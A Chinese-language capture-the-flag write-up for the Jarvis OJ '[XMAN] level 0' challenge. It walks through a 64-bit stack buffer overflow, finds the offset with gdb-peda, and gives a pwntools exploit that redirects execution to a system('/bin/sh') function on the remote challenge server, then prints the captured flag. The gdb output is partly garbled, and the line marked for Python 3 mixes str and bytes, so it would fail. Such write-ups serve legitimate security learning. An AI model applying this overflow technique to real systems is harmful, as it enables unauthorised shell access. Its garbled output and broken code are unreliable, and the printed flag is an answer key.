一.前言

练习平台: https://www.jarvisoj.com/challenges

题目: [XMAN] level 0

```
@ubuntu:~/Desktop/pwn/0$ file level0
level0: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically link
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]
c0b3ec5a7b489e61a71bc1afa7974135b0d3d4, not stripped
```

```
zzw@ubuntu:~/Desktop/pwn/0$ ./level0
Hello, World
asdsjagdjasgjda
zzw@ubuntu:~/Desktop/pwn/0$ a
```

二.分析

2.1 IDA查看

```
ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]
  return read(0, &buf, 0x200uLL);
}
```

这里要注意漏洞函数中read的第一个参数,这里表示的是标准输入,很明显这里存在一个栈溢出。

查看是否有system()、"/bin/sh"字符。

```
1 int callsystem()
2 {
3  return system("/bin/sh");
4 }
```

现成的system("bin/sh")

2.2 GDB调试

2.2.1 查看安全机制

```
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
gdb-peda$
```

2.2.2 缓冲区大小调试

gdb中使用命令生成若干字符

- pattern 生成字符串模板 写入内存 用于定位溢出点
 - pattern create size 生成特定长度字符串
 - pattern offset value 定位字符串

```
gdb-peda$ pattern create 100
'AAA%AAsAABAA$AAAAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4
AAJAAfAA5AAKAAgA<mark>AG</mark>AAL'
gdb-peda$ pattern offset A6
A6 found at offset: 95
gdb-peda$ ■
```

命令: pattern create 200

gdb-peda\$ pattern create 200 'AAA%AAsAABAA\$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4 AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAOAASAApAATAA QAAUAArAAVAAtAAWAAuAAXAAVAAYAAwAAZAAxAAyA'

然后将生成的这段字符, 在程序需要输入的地方输入

```
gdb-peda$ r
Starting program: /home/zzw/Desktop/pwn/0/level0
Hello, World
AAA%AASAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAACAA2AAHAAdAA3AAIAAeAA4A
AJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlaAQAAmAARAAOAASAApAATAAq
AAUAArAAVAAtaAWAAuaAXXAAVAAYAAwAAZAAxAAyA
Program received signal SIGSEGV, Segmentation fault.
```

查看rbp,数据

```
RAX: 0xc9
RBX: 0x0
                       (<__read_nocancel 7>:
RCX:
                                                       CMD
                                                               rax,0xfffffff
RDX: 0x200
RSI: 0x7fffffffdc90 ("AAA%AAsAABAA$<mark>A</mark>AnAACAA-AA(AADAA;AA)AAEAAaAA0AAF
AA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AA(
QAAmAARAAoAASAApAATAAqAAUAArAAVA tAAWAAUAAXAAVAAYAAwAAZAAxAAyA"...)
RDI: 0x0
RBP: 0x6c41415041416b41 ('AkAAPAAl')
RSP: 0x7ffffffdd18 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAA
AxAAyA\n\005@")
RIP:
                (<vulnerable_function+31>:
                                                       ret)
                (<__libc_csu_fini>: repz ret)
                       (< dl fini>:
                                              push
                                                      rbp)
R10: 0x37b
R11: 0x246
                                             ebp,ebp)
                (< start>:
                                     XOL
R13: 0x7ffffffffde10 --> 0x1
R14: 0x0
R15: 0x0
 FLAGS: 0x10203 (CARRY parity adjust zero sign trap INTERRUPT direct
```

gdb-peda\$ pattern offset AkAAPAA\\ AkAAPAAl found at offset: 128 gdb-peda\$ a\\

2.2.3 编写poc

```
.text:0000000000400596 callsystem
                                       proc near
                                                    跳转到这里
.text:0000000000400596
                                               rbp
.text:0000000000400596
                                       push
.text:0000000000400597
                                       mov
                                               rbp, rsp
.text:000000000040059A
                                               edi, offset command ; "/bin/sh"
                                       mov
.text:000000000040059F
                                       call
                                               _system
.text:00000000004005A4
                                               rbp
                                       pop
.text:00000000004005A5
                                       retn
.text:00000000004005A5 ; } // starts at 400596
.text:000000000004005A5 callsystem
                                       endp
payload+= 128 * 'a' //缓冲区的大小
payload+= 8 * 'a' //ebp 64位8个字节
payload+= p64(0x400596) //覆盖返回地址的位置
 from pwn import *
 pro=remote('pwn2.jarvisoj.com',9881)
 data=pro.recv(100).decode()
 print(data)
 #payload=flat([(128+8)*'a',p64(0x400596)])
                                                 ## python2.7
 payload=(128)*'a'+p64(0xdeadbeef)+p64(0x400596)
                                                 ## python3.6
 pro.send(payload)
 pro.interactive()
 pro.close()
```

结果:

```
zzw@ubuntu:~/Desktop/pwn/0$ python3 pwn0.py
[+] Opening connection to pwn2.jarvisoj.com on port 9881: Done
Hello, World

[*] Switching to interactive mode
$ ls
flag
level0_x64
$ cat flag
CTF{713ca3944e92180e0ef03171981dcd41}
$ a
```

flag

CTF{713ca3944e92180e0ef03171981dcd41}